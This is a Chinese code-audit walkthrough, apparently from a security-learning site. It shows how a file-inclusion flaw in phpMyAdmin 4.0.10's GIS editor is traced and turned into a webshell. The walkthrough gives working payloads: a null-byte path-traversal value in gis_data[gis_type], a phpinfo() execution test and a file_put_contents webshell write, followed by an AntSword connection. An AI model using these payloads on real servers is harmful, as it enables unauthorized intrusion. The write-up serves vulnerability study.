phpMyAdmin 4.0.10 文件包含 -> getshell

phpMyAdmin 4.0.10 文件包含 -> getshell

前言:这里这个漏洞相对来说审计起来不是特别难,但是对于初学者还是有点挑战性的,从zkaq web课过来的小伙伴想挑战一下自己代码审计能力的话,可以直接跳到最后下载源码,聂风老师上课教的是4.8版本的文件包含漏洞。注:源码本地搭建无法登录的话放在win7虚拟机里面运行
(注:如果直接跳到最后拿源码自己审计的话,在文件包含的时候记得加上token值,就是get传参中的那串token值留下。)


代码审计

这里的话漏洞规则是我自己写的
文件包含的话规则是:

include.*\$.{1,5}|include_once.*\$.{1,5}|require.*\$.{1,5}|require_once.*\$.{1,5}

如果师傅们有什么好的规则或者想法还请评论区分享下


这里的话自动审计出来的文件包含漏洞
还挺多的
这里的话我是自己一个一个追踪排除寻找漏洞的
所以可能有些地方有漏洞但是因为我知识浅薄没发现


这里漏洞不存在的案例就放一个了,不然文章就得写太多了
这里的话能看到一个 include $_REQU


进入查看源码
这里需要满足四个条件才能够包含 target


1 !empty($_REQUEST[‘target’])

empty()函数,判断内容中的变量是否为空
如果为空,那么返回 True
!是取反,也就是检测是否非空
说白了就是看一下这里有没有传入target这个变量


2 is_string($_REQUEST[‘target’])

检测变量是否为字符串


3 ! preg_match(‘/^index/‘, $_REQUEST[‘target’])

正则表达式,^符号为匹配开头,也就是说开头需要是 index,返回值才是True
结合前面的感叹号 “!”
布尔值取反,
也就是说,开头不能是 index


4 in_array($_REQUEST[‘target’], $goto_whitelist)

in_array() 判断第一个参数是否存在于第二个参数(数组)之中
也就是说,第二个参数是一个数组
判断这个数组里面有没有第一个参数


前三个条件都好满足
主要是最后一个
全文搜索变量 $goto_whitelist
并没有找到关于它的定义
推测这可能是一个全局变量


全局搜索


点进去查看一下
这里的内容全部被写死了
也就是说不属于我们可以控制的范围
这个点就pass掉了

$goto_whitelist = array(
    //'browse_foreigners.php',
    //'changelog.php',
    //'chk_rel.php',
    'db_create.php',
    'db_datadict.php',
    'db_sql.php',
    'db_events.php',
    'db_export.php',
    'db_importdocsql.php',
    'db_qbe.php',
    'db_structure.php',
    'db_import.php',
    'db_operations.php',
    'db_printview.php',
    'db_search.php',
    'db_routines.php',
    'export.php',
    'import.php',
    //'index.php',
    //'navigation.php',
    //'license.php',
    'index.php',
    'pdf_pages.php',
    'pdf_schema.php',
    //'phpinfo.php',
    'querywindow.php',
    'server_binlog.php',
    'server_collations.php',
    'server_databases.php',
    'server_engines.php',
    'server_export.php',
    'server_import.php',
    'server_privileges.php',
    'server_sql.php',
    'server_status.php',
    'server_status_advisor.php',
    'server_status_monitor.php',
    'server_status_queries.php',
    'server_status_variables.php',
    'server_variables.php',
    'sql.php',
    'tbl_addfield.php',
    'tbl_change.php',
    'tbl_create.php',
    'tbl_import.php',
    'tbl_indexes.php',
    'tbl_move_copy.php',
    'tbl_printview.php',
    'tbl_sql.php',
    'tbl_export.php',
    'tbl_operations.php',
    'tbl_structure.php',
    'tbl_relation.php',
    'tbl_replace.php',
    'tbl_row_action.php',
    'tbl_select.php',
    'tbl_zoom_select.php',
    //'themes.php',
    'transformation_overview.php',
    'transformation_wrapper.php',
    'user_password.php',
);

漏洞点


查看代码

class PMA_GIS_Factory
{
    /**
     * Returns the singleton instance of geometric class of the given type.
     *
     * <span>@param</span> string $type type of the geometric object
     *
     * <span>@return</span> object the singleton instance of geometric class of the given type
     * <span>@access</span> public
     * <span>@static#CTL{n}</span>     */
    public static function factory($type)
    {
        include_once './libraries/gis/pma_gis_geometry.php';

        $type_lower = strtolower($type);
        if (! file_exists('./libraries/gis/pma_gis_' . $type_lower . '.php')) {
            return false;
        }
        if (include_once './libraries/gis/pma_gis_' . $type_lower . '.php') {
            switch(strtoupper($type)) {
            case 'MULTIPOLYGON' :
                return PMA_GIS_Multipolygon::singleton();
            case 'POLYGON' :
                return PMA_GIS_Polygon::singleton();
            case 'MULTIPOINT' :
                return PMA_GIS_Multipoint::singleton();
            case 'POINT' :
                return PMA_GIS_Point::singleton();
            case 'MULTILINESTRING' :
                return PMA_GIS_Multilinestring::singleton();
            case 'LINESTRING' :
                return PMA_GIS_Linestring::singleton();
            case 'GEOMETRYCOLLECTION' :
                return PMA_GIS_Geometrycollection::singleton();
            default :
                return false;
            }
        } else {
            return false;
        }
    }
}

追踪过去
变量 $type_lower 被拼接在了内容里


向上追踪
这里 $type_lower 是将 $type 的字符转化为小写
$type 是函数的传入参数


然后我们搜索一下这个函数在哪里被调用了
一个一个往下找吧
除了第二个
因为第二个是定义这个函数


第一个,这里传入参数是 $geom_type


向上追踪 $geom_type
这里 $geom_type是取出数组
$gis_data中的 gis_type 键所对应的值
也就是说
$gis_data 是一个数组
这个数组里面有键值对
把 gis_type 取出来
变成变量 $geom_type


再向上追溯
这个代码块,会给 数组 gis_type 赋值
如果满足了 这些 if 条件
那么 gis_type 就相当于被写死了

查看最上面的 if 条件
! isset($gis_data[‘gis_type’])
isset() 检测变量是否存在
存在返回 True
加上感叹号取反
就是不存在返回 True
也就是检测是否为空
为空才会执行
所以这里也没什么卵用


再向上追溯
这里第一句先给 $gis_data 建立成一个空数组
然后用了一个函数作为布尔值的返回
如果函数返回值为True
那么$gis_data的值就会变成我们所传入的
$_REQUEST[‘gis_data’]


追踪函数

function PMA_isValid($var, $type = 'length', $compare = null)
{
    if (! isset($var)) {
        // var is not even set
        return false;
    }
    if ($type === false) {
        // no vartype requested
        return true;
    }
    if (is_array($type)) {
        return in_array($var, $type);
    }
    // allow some aliaes of var types
    $type = strtolower($type);
    switch ($type) {
    case 'identic' :
        $type = 'identical';
        break;
    case 'len' :
        $type = 'length';
        break;
    case 'bool' :
        $type = 'boolean';
        break;
    case 'float' :
        $type = 'double';
        break;
    case 'int' :
        $type = 'integer';
        break;
    case 'null' :
        $type = 'NULL';
        break;
    }
    if ($type === 'identical') {
        return $var === $compare;
    }
    // whether we should check against given $compare
    if ($type === 'similar') {
        switch (gettype($compare)) {
        case 'string':
        case 'boolean':
            $type = 'scalar';
            break;
        case 'integer':
        case 'double':
            $type = 'numeric';
            break;
        default:
            $type = gettype($compare);
        }
    } elseif ($type === 'equal') {
        $type = gettype($compare);
    }
    // do the check
    if ($type === 'length' || $type === 'scalar') {
        $is_scalar = is_scalar($var);
        if ($is_scalar && $type === 'length') {
            return (bool) strlen($var);
        }
        return $is_scalar;
    }
    if ($type === 'numeric') {
        return is_numeric($var);
    }
    if (gettype($var) === $type) {
        return true;
    }
    return false;
}

我们一步一步来看
刚刚调用函数时,传入的第一个参数为
$_REQUEST[‘gis_data’]
第二个参数为
‘array’


先来看前三个if语句
    if (! isset($var)) {
        // var is not even set
        return false;
    }
    if ($type === false) {
        // no vartype requested
        return true;
    }
    if (is_array($type)) {
        return in_array($var, $type);
    }

第一个检测$var是否存在
不存在返回 false
如果我们传入了变量 $_REQUEST[‘gis_data’]
第一个 if 就无影响

第二个if 判断 $type 的值是否全等于 false
但是$type的值是array
也就过掉了

第三个if是判断$type是不是数组
很显然不是,也过掉


然后就是一个switch语句
switch ($type) {
    case 'identic' :
        $type = 'identical';
        break;
    case 'len' :
        $type = 'length';
        break;
    case 'bool' :
        $type = 'boolean';
        break;
    case 'float' :
        $type = 'double';
        break;
    case 'int' :
        $type = 'integer';
        break;
    case 'null' :
        $type = 'NULL';
        break;
}

这里的话 case 就是匹配 $type 的值
当 $type 的值和某一个对应上了
就执行这个case下的语句
很显然这里没有一个是array的
无影响


接下来的三个if还是判断 $type 的值有无对应的

但是很显然,没有对应

    if ($type === 'similar') {
        switch (gettype($compare)) {
        case 'string':
        case 'boolean':
            $type = 'scalar';
            break;
        case 'integer':
        case 'double':
            $type = 'numeric';
            break;
        default:
            $type = gettype($compare);
        }
    } elseif ($type === 'equal') {
        $type = gettype($compare);
    }
    // do the check
    if ($type === 'length' || $type === 'scalar') {
        $is_scalar = is_scalar($var);
        if ($is_scalar && $type === 'length') {
            return (bool) strlen($var);
        }
        return $is_scalar;
    }
    if ($type === 'numeric') {
        return is_numeric($var);
    }

最后一个if语句

gettype() 获取参数的属性
$type -> array
也就是说我们的$var需要是一个数组
这里的返回值就是True了

    if (gettype($var) === $type) {
        return true;
    }

GetShell

利用聂风老师上课讲的知识点
创建一个表
写入一句话木马
(注:这里木马的密码不能是数字,也不能和其他cms里已经用过的参数冲突,不然会被判断值什么的然后重置)


然后找一下sql文件的储存路径


得到路径
C:/phpStudy/MySQL/data/
然后这里就有一个问题了
linux对路径大小写铭感
因为有一条语句会将我们传入的参数
都变成小写
所以在linux中,如果路径里有大写字母
就不能用了
但是一般来说,是小写
这也可以成为我们的一种防御思路
铭感路径用驼峰命名法
简单好用还能防漏洞


构造payload
gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=phpinfo();

wz是数据库库名
然后拼接起来的话就是
./libraries/gis/pmagis/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00.php
因为%00
.php会被忽略


然后访问存在漏洞的页面
gis_data_editor.php
利用hackbar
将其他的参数删掉
留下token
因为会通过token值进行一些判断
如果没有token值可能被认定为CSRF攻击(应该)
从而被拦截


发送数据包之后如果没反应
可以把上面的url滑到最后
查看上面的url和自己填的一样不一样
不一样就改了


成功代码执行
然后再改造payload写入木马


gis_data[gis_type]=/../../../../../../../../../../../../phpstudy/mysql/data/wz/abc.frm%00&a=file_put_contents(‘3.php’,’’);

这里的话用system() + echo 写木马会有点问题,所以就直接用file_put_contents()了


访问3.php


连接蚁剑
成功拿下目标web服务器


总结

还是刚刚说的那些,这里如果是Linux服务器的话,并且sql文件储存路径有大小写的话,就没办法拿到webshell了,并且还不能任意文件包含,还只能包含路径没有大写字符的,反正至少以我目前的水平是不行的,不过 linux 默认mysql文件的路径是 /var/lib/mysql/。默认情况下是无影响的。

  声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/750587.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【总结】在SpringBoot项目中如何动态切换数据源、数据库?(可直接CV)

注意&#xff1a;文章若有错误的地方&#xff0c;欢迎评论区里面指正 &#x1f36d; 前言 本文参考若依源码&#xff0c;介绍了如何在SpringBoot项目中使用AOP和自定义注解实现MySQL主从数据库的动态切换&#xff0c;当从库故障时&#xff0c;能自动切换到主库&#xff0c;确…

手写SpringMVC之ApplicationContextListener

什么是Spring MVC&#xff1f; Spring Web MVC是基于Servlet API构建的原始Web框架&#xff0c;从一开始就包含在Spring Framework中。正式名称“Spring Web MVC”来自其源模块的名称&#xff08; spring-webmvc &#xff09;&#xff0c;但它通常被称为“Spring MVC”。 手写…

SD-WAN解决多云环境的挑战

随着SD-WAN成为远程用户访问基于云的应用程序的主要途径&#xff0c;促使越来越多的部署多云环境以优化性能的企业、IT专业人员选择支持安全、低延迟且易于管理的SD-WAN技术。与此同时&#xff0c;SD-WAN供应商和云服务供应商之间的合作&#xff0c;有助于跨多个云供应商轻松管…

分别使用netty和apache.plc4x测试读取modbus协议的设备信号

记录一下常见的工业协议数据读取方法 目录 前言Modbus协议说明Netty 读取测试使用plc4x 读取测试结束语 前言 Modbus 是一种通讯协议&#xff0c;用于在工业控制系统中进行数据通信和控制。Modbus 协议主要分为两种常用的变体&#xff1a;Modbus RTU 和 Modbus TCP/IP Modbus …

基于51单片机太阳能风能风光互补路灯控制器

一.硬件方案 本设计由STC89C52单片机电路太阳能电池板电路风机发电电路锂电池充电保护电路升压电路稳压电路光敏电阻电路4位高亮LED灯电路2档拨动开关电路电源电路设计而成。 二.设计功能 &#xff08;1&#xff09;采用风机和太阳能电池板给锂电池充电&#xff0c;具有充电…

微服务开发 —— 项目环境搭建篇

环境搭建 Linux 环境搭建 Linux 环境搭建大家可以使用虚拟机 VMware、VirtualBox 等应用创建虚拟机&#xff0c;使用Vagrant也可以快捷搭建虚拟环境&#xff1b;Windows 中有 WSL2&#xff0c;Windows 中的 Docker 也对 WSL 进行了支持&#xff0c;也是一个不错的选择。或者可…

麒麟系统安装Redis

一、背景 如前文&#xff08;《麒麟系统安装MySQL》&#xff09;所述。 二、下载Redis源码 官方未提供麒麟系统的Redis软件&#xff0c;须下载源码编译。 下载地址&#xff1a;https://redis.io/downloads 6.2.14版本源码下载地址&#xff1a;https://download.redis.io/re…

构建LangChain应用程序的示例代码:46、使用 Meta-Prompt 构建自我改进代理的 LangChain 实现

Meta-Prompt 实现 摘要&#xff1a; 本文介绍了 Noah Goodman 提出的 Meta-Prompt 方法的 LangChain 实现&#xff0c;该方法用于构建能够自我反思和改进的智能代理。 核心思想&#xff1a; Meta-Prompt 的核心思想是促使代理反思自己的性能&#xff0c;并修改自己的指令。…

降低IT运营成本,提升客户体验 |LinkSLA亮相第十届CDIE

6月25-26日&#xff0c;中国数字化创新博览会&#xff08;CDIE 2024&#xff09;在上海张江科学会堂举行。本届展览主题为“AI创新&#xff0c;引领商业增长新格局”&#xff0c;旨在交流企业在数字化时代&#xff0c;如何以科技为驱动&#xff0c;在转型中如何把握机遇&#x…

文本编辑命令和正则表达式

一、 编辑文本的命令 正则表达式匹配的是文本内容&#xff0c;Linux的文本三剑客&#xff0c;都是针对文本内容。 文本三剑客 grep&#xff1a;过滤文本内容 sed&#xff1a;针对文本内容进行增删改查 &#xff08;本文不相关&#xff09; awk&#xff1a;按行取列 &#x…

Web服务器与Apache(虚拟主机基于ip、域名和端口号)

一、Web基础 1.HTML概述 HTML&#xff08;Hypertext Markup Language&#xff09;是一种标记语音,用于创建和组织Web页面的结构和内容&#xff0c;HTML是构建Web页面的基础&#xff0c;定义了页面的结构和内容&#xff0c;通过标记和元素来实现 2.HTML文件结构 <html>…

Transformer教程之什么是Transformer

在过去的几年里&#xff0c;Transformer 模型已经成为了自然语言处理&#xff08;NLP&#xff09;领域的主流技术。无论是机器翻译、文本生成还是语音识别&#xff0c;Transformer 都表现出了非凡的性能。那么&#xff0c;什么是 Transformer&#xff1f;它是如何工作的&#x…

LeetCode 剑指 Offer 40

// void help(int[] a,int l,int r,int k){ // if(k0) return; // if(r-l1 < k){ // for(int il;i<r;i){ // ans[cnt] a[i]; // } // return; // } // // 快排的基准值 // int base a[l]; // int i l, j r; // while(i<j){ // while(i<j &&…

1961 Springboot自习室预约系统idea开发mysql数据库web结构java编程计算机网页源码maven项目

一、源码特点 springboot 自习室预约管理系统是一套完善的信息系统&#xff0c;结合springboot框架和bootstrap完成本系统&#xff0c;对理解JSP java编程开发语言有帮助系统采用springboot框架&#xff08;MVC模式开发&#xff09;&#xff0c;系统具有完整的源代码和数据库…

鸿蒙开发系统基础能力:【Timer (定时器)】

定时器 setTimeout setTimeout(handler[,delay[,…args]]): number 设置一个定时器&#xff0c;该定时器在定时器到期后执行一个函数。 参数 参数名类型必填说明handlerFunction是定时器到期后执行函数。delaynumber否延迟的毫秒数&#xff0c;函数的调用会在该延迟之后发生…

谷歌SEO在外贸推广中的应用效果如何?

谷歌SEO在外贸推广中非常有效。通过优化网站&#xff0c;可以提高在搜索结果中的排名&#xff0c;这意味着更多的潜在客户会看到你的产品和服务。 一个高排名的网站能带来更多自然流量&#xff0c;不需要花费广告费用。这种流量通常质量较高&#xff0c;因为用户是主动搜索相关…

Java 流式编程的7个技巧,必学!

作为Java开发者&#xff0c;我们还没有完全掌握Java Streams这个多功能工具的威力。在这里&#xff0c;你将发现一些有价值的技巧&#xff0c;可以作为参考并应用到你的下一个项目中。 Java Streams在很多年前就被引入了&#xff0c;但作为Java开发者&#xff0c;我们还没有完…

2.4G特技翻斗车方案定制

遥控翻斗车不仅能够提供基本的前进、后退、左转和右转功能&#xff0c;还设计有多种特技动作和互动模式&#xff0c;以增加娱乐性和互动性。 1、无线遥控&#xff1a;玩具翻斗车一般通过2.4G无线遥控器进行控制&#xff0c;允许操作者在一定距离内远程操控车辆。 2、炫彩灯光…

安装VEX外部编辑器

Houdini20配置VEX外部编辑器方法_哔哩哔哩_bilibili 下载并安装Visual Studio Code软件&#xff1a;Download Visual Studio Code - Mac, Linux, Windows 在Visual Studio Code软件内&#xff0c;安装相关插件&#xff0c;如&#xff1a; 中文汉化插件vex插件 安装Houdini Expr…

JavaScript中的Date对象,以及常用格式化日期的方法封装

一、Date对象 二、操作Date对象 1、创建Date对象 &#xff08;1&#xff09;常用方法 &#xff08;2&#xff09;使用示例 2、获取日期 &#xff08;1&#xff09;常用方法 &#xff08;2&#xff09;使用示例 3、设置日期 &#xff08;1&#xff09;常用方法 &…